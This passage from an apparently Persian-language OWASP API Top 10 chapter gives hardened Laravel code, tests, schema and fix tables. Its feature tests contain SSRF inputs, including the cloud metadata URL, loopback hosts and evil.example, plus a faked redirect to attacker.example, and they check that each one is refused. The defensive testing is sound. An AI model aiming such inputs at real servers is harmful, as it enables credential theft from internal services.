    public function handle(Request $request, Closure $next, string $deprecatedAt, string $sunset, string $successor = ''): Response
    {
        $sunsetAt = Carbon::parse($sunset);
        $headers = [
            'Deprecation' => '@'.Carbon::parse($deprecatedAt)->getTimestamp(),
            'Sunset' => $sunsetAt->toRfc7231String(),
        ];
        if ($successor !== '') {
            $headers['Link'] = '<'.$successor.'>; rel="successor-version"';
        }

        if (now()->greaterThanOrEqualTo($sunsetAt)) {
            return response()->json(['message' => 'This API version has been retired.'], 410, $headers);
        }

        $response = $next($request);
        $response->headers->add($headers);

        return $response;
    }
}
php
<?php

use App\Http\Middleware\ApiLifecycle;
use Illuminate\Auth\Access\AuthorizationException;
use Illuminate\Auth\AuthenticationException;
use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Route;
use Illuminate\Support\Str;
use Illuminate\Validation\ValidationException;
use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface;

return Application::configure(basePath: dirname(__DIR__))
    ->withRouting(
        api: __DIR__.'/../routes/api.php',
        health: '/up',
        then: function () {
            // The chapter's vulnerable routes (Before/routes.php), for the
            // feature tests and the lab only. Never mounted in production.
            if (app()->environment(['local', 'testing'])) {
                Route::middleware('api')->prefix('api/before')->group(base_path('routes/before.php'));
            }
        },
    )
    ->withMiddleware(function (Middleware $middleware): void {
        $middleware->alias([
            'api.lifecycle' => ApiLifecycle::class,
        ]);
    })
    ->withExceptions(function (Exceptions $exceptions): void {
        // API8: unexpected errors on the API become an RFC 9457 problem
        // document with a correlation id; the detail goes to the log only.
        // Expected outcomes (401, 403, 404, 422, 429 ...) keep Laravel's own
        // rendering, so the closure returns null for them.
        $exceptions->render(function (Throwable $e, Request $request) {
            if (! $request->is('api/*') || config('app.debug')
                || $e instanceof HttpExceptionInterface
                || $e instanceof ValidationException
                || $e instanceof AuthenticationException
                || $e instanceof AuthorizationException) {
                return null;
            }

            $id = (string) Str::uuid();
            Log::error('internal_error', ['error_id' => $id, 'path' => $request->path(), 'exception' => $e]);

            return response()->json([
                'type' => 'about:blank',
                'title' => 'Internal Server Error',
                'status' => 500,
                'instance' => 'urn:error:'.$id,
            ], 500, ['Content-Type' => 'application/problem+json']);
        });
    })
    ->create();
php
<?php

use App\Http\Controllers\Admin\UserExportController;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\OrderController;
use App\Http\Controllers\ProfileController;
use Illuminate\Support\Facades\Route;

// Every route is in this file, versioned, and mirrored in openapi.yaml,
// which CI diffs against `php artisan route:list --json` (API9).

Route::middleware(['auth:sanctum', 'throttle:api'])->group(function () {
    Route::prefix('v2')->group(function () {
        Route::get('/me', [ProfileController::class, 'me']);
        Route::patch('/me', [ProfileController::class, 'update']);
        Route::put('/me/email', [ProfileController::class, 'changeEmail']);
        Route::get('/users/{id}', [ProfileController::class, 'show']);
        Route::post('/me/avatar/import', [ProfileController::class, 'importAvatar']);
        Route::get('/orders', [OrderController::class, 'index']);
        Route::get('/orders/{id}', [OrderController::class, 'show']);
        Route::post('/checkout', CheckoutController::class)->middleware('throttle:checkout');

        // API5: admin functions are grouped AND each controller checks again.
        Route::prefix('admin')->middleware('can:admin')->group(function () {
            Route::get('/users', UserExportController::class);
        });
    });

    // API9: the old version keeps working until its sunset, loudly.
    Route::prefix('v1')
        ->middleware('api.lifecycle:2026-06-30T23:59:59Z,2026-12-31T23:59:59Z,/api/v2/orders')
        ->group(function () {
            Route::get('/orders/{id}', [OrderController::class, 'show']);
        });
});

API10: کلاینت شریک با TLS، timeout، بدون redirect، سقف اندازه، اعتبارسنجی و binding:

php
<?php

namespace App\Services;

use App\Support\BoundedBody;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Validator;
use RuntimeException;

// API10: third-party API trust is earned per field. TLS only, short
// timeouts, no redirects, a size cap applied while streaming (not after the
// whole body is in memory), the same validation as user input, and bindings
// when the value reaches SQL.
class AddressEnrichment
{
    private const MAX_BYTES = 65536;

    public function enrich(string $address, int $tenantId): void
    {
        $response = Http::baseUrl('https://geo-partner.example')
            ->connectTimeout(2)
            ->timeout(5)
            ->withOptions(['allow_redirects' => false, 'stream' => true])
            ->acceptJson()
            ->get('/lookup', ['q' => $address]);

        if ($response->status() !== 200 || ! str_starts_with((string) $response->header('Content-Type'), 'application/json')) {
            throw new RuntimeException('Upstream refused: status '.$response->status());
        }

        $payload = json_decode(BoundedBody::read($response, self::MAX_BYTES), true, 16, JSON_THROW_ON_ERROR);

        $data = Validator::make(is_array($payload) ? $payload : [], [
            'name' => ['required', 'string', 'max:200'],
            'city' => ['required', 'string', 'max:80', 'regex:/^[\pL .\'-]+$/u'],
            'country' => ['required', 'string', 'size:2', 'alpha:ascii'],
        ])->validate();

        DB::insert(
            'INSERT INTO businesses (tenant_id, name, city, country) VALUES (?, ?, ?, ?)',
            [$tenantId, $data['name'], $data['city'], strtoupper($data['country'])],
        );
    }
}

خوانندهٔ محدود مشترک هر دو کلاینت شریک: ابتدا رد Content-Length بزرگ، سپس stream تا سقف:

php
<?php

namespace App\Support;

use Illuminate\Http\Client\Response;
use RuntimeException;

// API4/API10: read at most $maxBytes of a response that was requested with
// withOptions(['stream' => true]), so an oversized body is refused before it
// is buffered. A declared Content-Length above the cap is refused without
// reading anything; a missing or lying Content-Length is caught while reading.
final class BoundedBody
{
    public static function read(Response $response, int $maxBytes): string
    {
        $declared = $response->header('Content-Length');
        if ($declared !== '' && (! ctype_digit($declared) || (int) $declared > $maxBytes)) {
            self::close($response);
            throw new RuntimeException('Upstream body too large (Content-Length '.$declared.')');
        }

        $stream = $response->resource();
        $body = '';
        while (! feof($stream) && strlen($body) <= $maxBytes) {
            $chunk = fread($stream, 8192);
            if ($chunk === false) {
                break;
            }
            $body .= $chunk;
        }
        fclose($stream);

        if (strlen($body) > $maxBytes) {
            throw new RuntimeException('Upstream body larger than '.$maxBytes.' bytes');
        }

        return $body;
    }

    private static function close(Response $response): void
    {
        $response->toPsrResponse()->getBody()->close();
    }
}

API7: fetcher با فهرست مجاز برای URL تصویر ارسالی کاربر؛ مصرف‌شده در ProfileController::importAvatar:

php
<?php

namespace App\Services;

use App\Support\BoundedBody;
use Illuminate\Support\Facades\Http;
use InvalidArgumentException;

// API7: fetch user-supplied image URLs only from allow-listed hosts, over
// https on 443, without userinfo, IP literals or redirects. The DNS-rebinding
// defence (resolve, check the IP, pin it) is SafeHttpClient in the OWASP
// Top 10 chapter; this class is the allow-list layer in front of it.
class RemoteImageFetcher
{
    private const ALLOWED_HOSTS = ['images.example-cdn.com', 'secure.gravatar.com'];
    private const MAX_BYTES = 5_242_880;

    public function fetch(string $url): string
    {
        $parts = parse_url($url);
        $host = strtolower($parts['host'] ?? '');

        if (($parts['scheme'] ?? '') !== 'https'
            || isset($parts['user']) || isset($parts['pass'])
            || (isset($parts['port']) && $parts['port'] !== 443)
            || filter_var(trim($host, '[]'), FILTER_VALIDATE_IP) !== false
            || ! in_array($host, self::ALLOWED_HOSTS, true)) {
            throw new InvalidArgumentException('Destination not allowed');
        }

        $response = Http::connectTimeout(2)->timeout(5)
            ->withOptions(['allow_redirects' => false, 'stream' => true])
            ->get($url);

        if ($response->status() !== 200
            || ! str_starts_with((string) $response->header('Content-Type'), 'image/')) {
            throw new InvalidArgumentException('Remote image rejected');
        }

        try {
            return BoundedBody::read($response, self::MAX_BYTES);
        } catch (\RuntimeException) {
            throw new InvalidArgumentException('Remote image too large');
        }
    }
}

API8: originهای دقیق CORS با php artisan config:publish cors؛ closure رندر problem details در bootstrap/app.php بالاست:

php
<?php

// API8: published with `php artisan config:publish cors`. Exact origins,
// never a reflected Origin together with credentials.
return [
    'paths' => ['api/*'],
    'allowed_methods' => ['GET', 'POST', 'PATCH', 'PUT', 'DELETE'],
    'allowed_origins' => ['https://shop.example.com', 'https://admin.example.com'],
    'allowed_origins_patterns' => [],
    'allowed_headers' => ['Authorization', 'Content-Type', 'Accept', 'X-Request-Id'],
    'exposed_headers' => ['Deprecation', 'Sunset', 'Link'],
    'max_age' => 600,
    'supports_credentials' => true,
];

Feature test مسیرهای اصلاح‌شده با دو کاربر در یک tenant و یکی در tenant دیگر، همراه factory و migration برای تکرارپذیری مجموعه:

php
<?php

namespace Tests\Feature;

use App\Models\Order;
use App\Models\User;
use App\Services\AddressEnrichment;
use App\Services\RemoteImageFetcher;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Route;
use Illuminate\Validation\ValidationException;
use InvalidArgumentException;
use Laravel\Sanctum\Sanctum;
use RuntimeException;
use Tests\TestCase;

// Two users in one tenant, a third in another: the minimum cast for
// authorization tests (OWASP: "Write tests to evaluate the vulnerability of
// the authorization mechanism").
class ApiSecurityTest extends TestCase
{
    use RefreshDatabase;

    private function user(array $attrs = []): User
    {
        return User::factory()->create($attrs + ['tenant_id' => 7, 'role' => 'user']);
    }

    private function orderFor(User $owner): Order
    {
        $order = new Order;
        $order->forceFill(['user_id' => $owner->id, 'tenant_id' => $owner->tenant_id, 'number' => 'A-1', 'status' => 'paid', 'total_cents' => 1999])->save();

        return $order;
    }

    public function test_bola_foreign_order_is_404_and_logged(): void
    {
        Log::spy();
        $ana = $this->user();
        $bob = $this->user();
        $bobsOrder = $this->orderFor($bob);
        Sanctum::actingAs($ana);

        $this->getJson("/api/v2/orders/{$bobsOrder->id}")->assertNotFound();
        $this->getJson('/api/v2/orders/999999')->assertNotFound();
        Log::shouldHaveReceived('warning')->withArgs(fn ($msg, $ctx) => $msg === 'authz_fail' && $ctx['object_id'] === $bobsOrder->id)->once();
    }

    public function test_bola_other_tenant_cannot_load_the_row(): void
    {
        $owner = $this->user();
        $order = $this->orderFor($owner);
        Sanctum::actingAs($this->user(['tenant_id' => 8, 'role' => 'support']));

        $this->getJson("/api/v2/orders/{$order->id}")->assertNotFound();
    }

    public function test_bopla_response_dto_hides_other_users_properties(): void
    {
        $sam = $this->user(['email' => 'sam@example.com']);
        Sanctum::actingAs($this->user());

        $this->getJson("/api/v2/users/{$sam->id}")
            ->assertOk()
            ->assertExactJson(['data' => ['id' => $sam->id, 'name' => $sam->name]]);
    }

    public function test_bopla_server_owned_properties_are_prohibited(): void
    {
        $ana = $this->user();
        Sanctum::actingAs($ana);

        $this->patchJson('/api/v2/me', ['name' => 'Ana', 'role' => 'admin'])
            ->assertUnprocessable()->assertJsonValidationErrors('role');
        $this->assertSame('user', $ana->fresh()->role);
    }

    public function test_bfla_user_cannot_call_admin_export(): void
    {
        Sanctum::actingAs($this->user());
        $this->getJson('/api/v2/admin/users')->assertForbidden();

        Sanctum::actingAs($this->user(['role' => 'admin']));
        $this->getJson('/api/v2/admin/users')->assertOk();
    }

    public function test_api2_email_change_needs_current_password(): void
    {
        Sanctum::actingAs($this->user());
        $this->putJson('/api/v2/me/email', ['email' => 'new@example.com'])
            ->assertUnprocessable()->assertJsonValidationErrors('current_password');
    }

    public function test_api4_page_size_is_clamped(): void
    {
        $ana = $this->user();
        DB::table('orders')->insert(collect(range(1, 500))->map(fn ($i) => [
            'tenant_id' => 7, 'user_id' => $ana->id, 'number' => "A-{$i}", 'status' => 'paid', 'total_cents' => 100,
        ])->all());
        Sanctum::actingAs($ana);

        // Same attack as BeforeLeaksTest: the fixed route returns at most 100 rows.
        $this->getJson('/api/v2/orders?per_page=100000')
            ->assertOk()->assertJsonCount(100, 'data')->assertJsonPath('per_page', 100);
    }

    public function test_api6_second_checkout_burst_is_limited(): void
    {
        $ana = $this->user();
        Sanctum::actingAs($ana);
        DB::table('products')->insert(['sku' => 'console-x', 'stock' => 100]);
        DB::table('cart_items')->insert(['user_id' => $ana->id, 'sku' => 'console-x', 'created_at' => now()->subMinute()]);

        $codes = collect(range(1, 5))->map(fn () => $this->postJson('/api/v2/checkout', ['sku' => 'console-x', 'device_id' => 'dev-a'])->status());

        $this->assertSame([204, 204, 429, 429, 429], $codes->all());
        $this->assertSame(98, DB::table('products')->where('sku', 'console-x')->value('stock'));
    }

    public function test_api7_internal_and_unlisted_urls_are_refused(): void
    {
        Http::preventStrayRequests();
        foreach (['http://169.254.169.254/latest/meta-data/', 'https://127.0.0.1/', 'https://localhost:8080/', 'https://evil.example/a.png'] as $url) {
            try {
                app(RemoteImageFetcher::class)->fetch($url);
                $this->fail("{$url} must be refused");
            } catch (InvalidArgumentException) {
                $this->addToAssertionCount(1);
            }
        }
    }

    public function test_api8_unexpected_error_is_a_generic_problem_document(): void
    {
        config(['app.debug' => false]);
        Route::middleware('api')->get('/api/v2/boom', function () {
            throw new RuntimeException('SQLSTATE[42P01]: relation "report_v2" does not exist');
        });

        $this->getJson('/api/v2/boom')
            ->assertStatus(500)
            ->assertHeader('Content-Type', 'application/problem+json')
            ->assertJsonPath('title', 'Internal Server Error')
            ->assertDontSee('report_v2');
    }

    public function test_api6_device_cap_holds_across_accounts(): void
    {
        DB::table('products')->insert(['sku' => 'console-x', 'stock' => 100]);
        // Two other accounts already bought on this device.
        DB::table('purchase_caps')->insert(['sku' => 'console-x', 'scope' => 'device', 'key' => 'dev-a', 'count' => 2]);
        $third = $this->user();
        DB::table('cart_items')->insert(['user_id' => $third->id, 'sku' => 'console-x', 'created_at' => now()->subMinute()]);
        Sanctum::actingAs($third);

        $this->postJson('/api/v2/checkout', ['sku' => 'console-x', 'device_id' => 'dev-a'])->assertStatus(429);
        // The refusal rolled back the user counter taken before the device check.
        $this->assertSame(0, (int) DB::table('purchase_caps')->where(['scope' => 'user', 'key' => (string) $third->id])->value('count'));
        $this->assertSame(100, DB::table('products')->where('sku', 'console-x')->value('stock'));
    }

    public function test_api10_oversized_upstream_body_is_refused_before_buffering(): void
    {
        Http::fake(['geo-partner.example/*' => Http::response(['name' => 'Acme', 'city' => 'Delft', 'country' => 'NL'], 200, ['Content-Length' => '900000000'])]);
        $this->expectException(RuntimeException::class);
        app(AddressEnrichment::class)->enrich('1 Main St', 7);
    }

    public function test_api9_deprecated_version_announces_its_sunset(): void
    {
        $ana = $this->user();
        $order = $this->orderFor($ana);
        Sanctum::actingAs($ana);

        $this->travelTo('2026-11-29 12:00:00');
        $this->getJson("/api/v1/orders/{$order->id}")
            ->assertOk()
            ->assertHeader('Deprecation', '@1782863999')
            ->assertHeader('Sunset', 'Thu, 31 Dec 2026 23:59:59 GMT');

        $this->travelTo('2027-01-01 00:00:00');
        $this->getJson("/api/v1/orders/{$order->id}")->assertStatus(410);
    }

    public function test_api10_upstream_redirect_and_bad_payload_are_rejected(): void
    {
        Http::preventStrayRequests();
        Http::fake(['geo-partner.example/*' => Http::response('', 308, ['Location' => 'https://attacker.example/'])]);
        $this->expectException(RuntimeException::class);
        app(AddressEnrichment::class)->enrich('1 Main St', 7);
    }

    public function test_api10_upstream_values_are_validated(): void
    {
        Http::fake(['geo-partner.example/*' => Http::response(['name' => 'Acme', 'city' => '<script>', 'country' => 'NL'])]);
        $this->expectException(ValidationException::class);
        app(AddressEnrichment::class)->enrich('1 Main St', 7);
    }
}
php
<?php

namespace Database\Factories;

use App\Models\User;
use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Str;

/**
 * @extends Factory<User>
 */
class UserFactory extends Factory
{
    protected $model = User::class;

    public function definition(): array
    {
        return [
            'name' => fake()->name(),
            'email' => fake()->unique()->safeEmail(),
            'password' => Hash::make('correct horse battery staple'),
            'remember_token' => Str::random(10),
            'tenant_id' => 7,
            'role' => 'user',
            'blocked' => false,
            'mfa_secret' => 'JBSWY3DPEHPK3PXP',
        ];
    }

    public function admin(): static
    {
        return $this->state(['role' => 'admin']);
    }
}
php
<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

// Schema for the chapter's feature suite. Run after the framework's own
// users and Sanctum migrations (php artisan install:api creates
// personal_access_tokens).
return new class extends Migration
{
    public function up(): void
    {
        Schema::table('users', function (Blueprint $table) {
            $table->unsignedBigInteger('tenant_id')->default(7)->index();
            $table->string('role', 20)->default('user');
            $table->boolean('blocked')->default(false);
            $table->string('mfa_secret')->nullable();
            $table->text('avatar')->nullable();
        });

        Schema::create('orders', function (Blueprint $table) {
            $table->id();
            $table->unsignedBigInteger('tenant_id');
            $table->foreignId('user_id')->constrained();
            $table->string('number');
            $table->string('status');
            $table->unsignedBigInteger('total_cents');
            $table->timestamps();
            $table->index(['tenant_id', 'id']);
        });

        Schema::create('products', function (Blueprint $table) {
            $table->string('sku')->primary();
            $table->unsignedInteger('stock');
        });

        Schema::create('cart_items', function (Blueprint $table) {
            $table->id();
            $table->foreignId('user_id')->constrained();
            $table->string('sku');
            $table->timestamp('created_at');
        });

        Schema::create('purchases', function (Blueprint $table) {
            $table->id();
            $table->foreignId('user_id')->constrained();
            $table->string('sku');
            $table->string('device_id')->nullable();
            $table->timestamp('created_at');
        });

        // API6: one counter row per (sku, scope, key); the cap is enforced by
        // a conditional UPDATE on this row, which the database serialises.
        Schema::create('purchase_caps', function (Blueprint $table) {
            $table->string('sku');
            $table->string('scope', 10);   // 'user' or 'device'
            $table->string('key');
            $table->unsignedInteger('count')->default(0);
            $table->primary(['sku', 'scope', 'key']);
        });

        Schema::create('businesses', function (Blueprint $table) {
            $table->id();
            $table->unsignedBigInteger('tenant_id')->nullable();
            $table->string('name');
            $table->string('city')->nullable();
            $table->string('country', 2)->nullable();
        });
    }

    public function down(): void
    {
        Schema::dropIfExists('businesses');
        Schema::dropIfExists('purchase_caps');
        Schema::dropIfExists('purchases');
        Schema::dropIfExists('cart_items');
        Schema::dropIfExists('products');
        Schema::dropIfExists('orders');
        Schema::table('users', function (Blueprint $table) {
            $table->dropColumn(['tenant_id', 'role', 'blocked', 'mfa_secret', 'avatar']);
        });
    }
};

API9 در CI: فهرست OpenAPI برای Laravel و مقایسه‌ای که اختلاف کد و spec را شکست job می‌کند؛ اجرا در آزمایشگاه:

json
{
  "openapi": "3.1.0",
  "info": {
    "title": "Shop API (Laravel)",
    "version": "2.3.0"
  },
  "paths": {
    "/api/v2/me": {
      "get": {
        "operationId": "getMe",
        "x-owner": "team-shop",
        "x-audience": "public"
      },
      "patch": {
        "operationId": "updateMe",
        "x-owner": "team-shop",
        "x-audience": "public"
      }
    },
    "/api/v2/me/email": {
      "put": {
        "operationId": "changeEmail",
        "x-owner": "team-shop",
        "x-audience": "public"
      }
    },
    "/api/v2/me/avatar/import": {
      "post": {
        "operationId": "importAvatar",
        "x-owner": "team-shop",
        "x-audience": "public"
      }
    },
    "/api/v2/users/{id}": {
      "parameters": [
        {
          "name": "id",
          "in": "path",
          "required": true,
          "schema": {
            "type": "integer"
          }
        }
      ],
      "get": {
        "operationId": "getUser",
        "x-owner": "team-shop",
        "x-audience": "public"
      }
    },
    "/api/v2/orders": {
      "get": {
        "operationId": "listOrders",
        "x-owner": "team-shop",
        "x-audience": "public"
      }
    },
    "/api/v2/orders/{id}": {
      "parameters": [
        {
          "name": "id",
          "in": "path",
          "required": true,
          "schema": {
            "type": "integer"
          }
        }
      ],
      "get": {
        "operationId": "getOrder",
        "x-owner": "team-shop",
        "x-audience": "public"
      }
    },
    "/api/v2/checkout": {
      "post": {
        "operationId": "checkout",
        "x-owner": "team-shop",
        "x-audience": "public"
      }
    },
    "/api/v2/admin/users": {
      "get": {
        "operationId": "exportUsers",
        "x-owner": "team-shop",
        "x-audience": "internal"
      }
    },
    "/api/v1/orders/{id}": {
      "parameters": [
        {
          "name": "id",
          "in": "path",
          "required": true,
          "schema": {
            "type": "integer"
          }
        }
      ],
      "get": {
        "operationId": "getOrderV1",
        "x-owner": "team-shop",
        "x-audience": "public",
        "deprecated": true,
        "x-deprecated-at": "2026-06-30T23:59:59Z",
        "x-sunset": "2026-12-31T23:59:59Z",
        "x-successor": "/api/v2/orders"
      }
    }
  }
}
sh
#!/usr/bin/env bash
# API9: fail CI when the routes in the build and the OpenAPI inventory differ.
# Usage: scripts/inventory-diff.sh <route-list.json> [openapi.json]
#   route-list.json: output of `php artisan route:list --json --path=api`
# Lines starting with "<" are shadow routes (in code, not in the spec);
# lines starting with ">" are missing routes (in the spec, not in code).
# Exit status: 0 when they agree, 1 when they differ (diff's own status).
set -euo pipefail
routes_json=$1
spec_json=${2:-openapi.json}

# Every method of a route becomes its own pair ("GET|HEAD|POST" -> three
# lines); HEAD is implied by GET in Laravel and OpenAPI, so it is dropped.
code=$(jq -r '.[] | .uri as $u | .method | split("|")[] | select(. != "HEAD") | . + " /" + $u' "$routes_json" | sort)
spec=$(jq -r '.paths | to_entries[] | .key as $p | .value | keys[]
              | select(. != "parameters") | ascii_upcase + " " + $p' "$spec_json" | sort)

diff <(printf '%s\n' "$code") <(printf '%s\n' "$spec")

نگاه Laravel ​

  • Laravel Policies و Gate. "By default, Laravel automatically discover policies as long as the model and policy follow standard Laravel naming conventions"؛ App\Models\Order به App\Policies\OrderPolicy می‌رسد. #[UsePolicy(OrderPolicy::class)] روی مدل آن را صریح می‌کند. با Gate::authorize('view', $order) صدا بزنید؛ AuthorizationException پرتاب و ۴۰۳ رندر می‌شود، یا اگر Policy مقدار Response::denyAsNotFound() بدهد ۴۰۴. مستندات: "hiding resources via a 404 response is such a common pattern for web applications, the denyAsNotFound method is offered for convenience". راه‌های دیگر: $request->user()->can(...)، middleware مسیر can:update,post، ->can('update', 'post') روی مسیر یا attributeِ #[Authorize('create', [Comment::class, 'post'])] در Laravel 13. Gate::after همهٔ نتیجه‌ها را می‌بیند؛ مقدار بازگشتی آن نتیجهٔ non-nullِ Gate را بازنویسی نمی‌کند، پس برای لاگ امن است.
  • اول Query scope. Policy پس از بارگذاری مدل اجرا می‌شود. از رابطهٔ $request->user()->orders()->findOrFail($id) یا where('tenant_id', ...) صریح بارگذاری کنید تا ردیف tenant بیگانه به PHP نرسد. در مسیر تو‌در‌تو، Route::scopeBindings() باعث می‌شود /shops/{shop}/orders/{order} فقط وقتی resolve شود که سفارش متعلق به فروشگاه باشد.
  • Mass Assignment. Laravel 13: "you will need to specify either a Fillable or Guarded attribute on your model class. These attributes are required because all Eloquent models are protected against mass assignment vulnerabilities by default." در Laravel 12 و کد قدیمی‌تر همین سازوکار protected $fillable = [...] و protected $guarded = [...] است؛ مستندات 12.x برای آزادکردن همه protected $guarded = []; را نشان می‌دهند. با #[Unguarded] باید "always hand-craft the arrays passed to Eloquent's fill, create, and update methods". تنظیم Model::preventSilentlyDiscardingAttributes($this->app->isLocal()) حذف بی‌صدای attribute را در توسعه به exception تبدیل می‌کند.
  • Form Request. متد authorize() با توضیح "you may determine if a user actually owns a blog comment they are attempting to update" همراه rules() است. $request->validated() و $request->safe()->only([...]) فقط کلید اعتبارسنجی‌شده می‌دهند. قاعدهٔ prohibited با تعریف "The field under validation must be missing or empty" کاوش role را به‌جای حذف بی‌صدا به ۴۲۲ تبدیل می‌کند تا قابل‌هشدار باشد.
  • API resource به‌عنوان DTO پاسخ. JsonResource::toArray() ویژگی‌ها را صریح فهرست می‌کند. $this->when($condition, $value) فقط برای بعضی مخاطبان ویژگی می‌افزاید؛ #[Hidden([...])] پشتیبان حالتی است که کسی مدل را مستقیم برگرداند.
  • سقف کاربر و منبع. RateLimiter::for('checkout', fn (Request $r) => [Limit::perMinute(5)->by('user:'.$r->user()?->id), Limit::perMinute(300)->by('sku:'.$r->input('sku'))]). مستندات: "you may return an array of rate limits"؛ وقتی چند سقف مقدار by مشترک دارند، "you should ensure that each by value is unique"؛ پیشوندها برای همین‌اند. اعمال با throttle:checkout است.
  • کلاینت HTTP. "By default, the HTTP client will timeout after 30 seconds"؛ connectTimeout() و timeout() را برای هر integration تنظیم کنید. Http::globalOptions(['allow_redirects' => false]) redirect همهٔ فراخوانی‌ها را خاموش می‌کند؛ Http::preventStrayRequests() در تست، تماس fakeنشده را ناموفق می‌کند.
  • توکن و ability در Sanctum، مانند auth:sanctum و abilities:check-status,place-orders، scope سطح تابع برای کلاینت API هستند؛ جای Policy را نمی‌گیرند. طراحی توکن در احراز هویت است.

حل مسئله‌های کلاسیک ​

یافتهٔ pentest: BOLA بین tenantها روی /api/orders/{id} ​

محدودسازی را در SQL انجام دهید تا پایگاه داده ردیف بیگانه برنگرداند. Policy را برای قواعد مالک در برابر پشتیبان نگه دارید، برای هر دو حالت ناموجود و غیرمجاز ۴۰۴ بدهید، و امنیت سطری (Row-level security) را شبکهٔ پشتیبان زیر کد قرار دهید:

sql
-- 1. Every read and write carries the tenant and, for customer endpoints, the owner
SELECT id, number, status, total_cents
FROM orders
WHERE id = $1 AND tenant_id = $2 AND user_id = $3;

-- 2. The index that makes the scope free
CREATE INDEX orders_tenant_id_idx ON orders (tenant_id, id);

-- 3. PostgreSQL row-level security keyed on a per-transaction setting
ALTER TABLE orders ENABLE ROW LEVEL SECURITY;
ALTER TABLE orders FORCE ROW LEVEL SECURITY;          -- applies to the table owner too
CREATE POLICY tenant_isolation ON orders
  USING (tenant_id = current_setting('app.tenant_id')::bigint);
-- the app runs, inside each transaction:  SET LOCAL app.tenant_id = '7';

-- 4. Public ids that do not enumerate (PostgreSQL 18 has uuidv7(); older: gen_random_uuid() for v4)
ALTER TABLE orders ADD COLUMN public_id uuid NOT NULL DEFAULT gen_random_uuid() UNIQUE;
راه‌حلروشمزیتهزینه / محدودیت
Query محدودشدهWHERE tenant_id = $2 AND user_id = $3؛ $user->orders()->findOrFail($id)ردیف بارگذاری نمی‌شودباید در هر Query رعایت شود؛ قاعدهٔ review
Policy objectCanView(u, o)؛ OrderPolicy::view و Gate::authorizeقواعد متمرکز مالک، پشتیبان و دسترسی واگذارشدهباید فراخوانی شود؛ تست هر عمل
Row-level securityCREATE POLICY در PostgreSQL با SET LOCALوقتی کد فراموش کند هم برقرار استانضباط pool با SET LOCAL در هر تراکنش؛ عبور superuser؛ نیاز مالک به FORCE
شناسهٔ عمومی تصادفیستون UUIDv4/UUIDv7 با حفظ PK از نوع bigintبدون enumeration و نشت حجممجوز نیست
مسیر /me/...GET /me/orders/{id} با subject از توکنشناسهٔ کمتر از کلاینتمدیر و پشتیبان هنوز مسیر شناسه‌دار می‌خواهند
تست دوکاربره در CIA شیء B را برای هر منبع و متد می‌خواندکشف regressionکار ساخت fixture
هشدار authz_failنرخ رد Policy برای هر کاربرکشف کاوش در productionنیاز به تنظیم

BOPLA: موبایل فیلدهایی را پنهان می‌کند که API برمی‌گرداند ​

راه‌حلروشمزیتهزینه / محدودیت
DTO پاسخ هر مخاطبPublicUser / SelfUser؛ UserResource با when()ستون تازه پیش‌فرض خصوصی استکلاس برای هر شکل
DTO ورودی / Form RequestUpdateInput و DisallowUnknownFields؛ rules() و prohibitedکاوش با 400/422 دیده می‌شودهمگامی قواعد و UI
#[Fillable] / $fillableفهرست مجاز روی مدلحصار دومحذف بی‌صدا مگر با preventSilentlyDiscardingAttributes
#[Hidden]پشتیبان سریال‌سازیجلوی نشت return $user را می‌گیردفهرست ممنوع؛ کنترل اصلی نیست
تست schema پاسخassertExactJson و اعتبارسنجی پاسخ OpenAPI در CI"schema-based response validation mechanism"نگه‌داری تست
مجوز فیلد GraphQLresolver هر فیلد بیننده را بررسی می‌کندقاعدهٔ یکسان برای هر شکل Queryکد resolver بیشتر

پاک‌سازی پس از یافته: هرچه نشت کرده را بچرخانید؛ mfa_secret یعنی ثبت مجدد MFA، و hash گذرواژهٔ ضعیف یعنی reset اجباری. لاگ دسترسی endpoint را برای تخمین دامنهٔ افشا جست‌وجو کنید.

BFLA: کاربر عادی خروجی همهٔ حساب‌ها را گرفت ​

راه‌حلروشمزیتهزینه / محدودیت
رد پیش‌فرض هنگام ثبتbfla.NewMux مسیر بدون نقش یا AnyUser را رد می‌کند؛ در Laravel همه داخل گروه احراز‌شده با can: صریحمسیر فراموش‌شده نمی‌تواند وجود داشته باشدیک خط برای هر مسیر
متد در الگوثبت مستقل DELETE /api/users/{id}دست‌کاری متد به 405 یا policy خودش می‌رسدندارد
بررسی در خود controller مدیریتی#[Middleware('can:admin')] و کلاس پایهٔ مدیرجابه‌جایی مسیر بررسی را حفظ می‌کندبررسی تکراریِ عمدی
تست ماتریس نقشهر مسیر × هر نقش با وضعیت موردانتظارمسیر تازهٔ بی‌policy پیدا می‌شوددادهٔ تست تولیدشده
سطح مدیریتی جداAPI مدیر روی میزبان مستقل، VPN یا SSO و وضعیت امنیتی دستگاهدامنهٔ خسارت کوچک‌ترهزینهٔ عملیاتی
حذف از بستهٔ کلاینتکد مخصوص مدیر به کاربر داده نشودکشف کمترسرور را اصلاح نمی‌کند

API6: موجودی روز عرضه در ۱۸۰ ms به ربات‌ها فروخته شد ​

قاعدهٔ کسب‌وکار را قید تحت اجرای پایگاه داده کنید؛ شمارندهٔ حافظه به‌تنهایی کافی نیست:

sql
-- One unit per customer per drop, enforced by the database
CREATE TABLE purchases (
  id          bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
  drop_id     bigint NOT NULL,
  user_id     bigint NOT NULL,
  device_id   text   NOT NULL,
  created_at  timestamptz NOT NULL DEFAULT now(),
  CONSTRAINT one_per_user_per_drop UNIQUE (drop_id, user_id)
);

-- Stock decrement that cannot oversell
UPDATE products SET stock = stock - 1 WHERE sku = $1 AND stock >= 1;   -- 0 rows = sold out

-- Account clusters: devices used by more than 3 buying accounts in this drop
SELECT device_id, count(DISTINCT user_id) AS accounts
FROM purchases WHERE drop_id = $1
GROUP BY device_id HAVING count(DISTINCT user_id) > 3;
راه‌حلروشمزیتهزینه / محدودیت
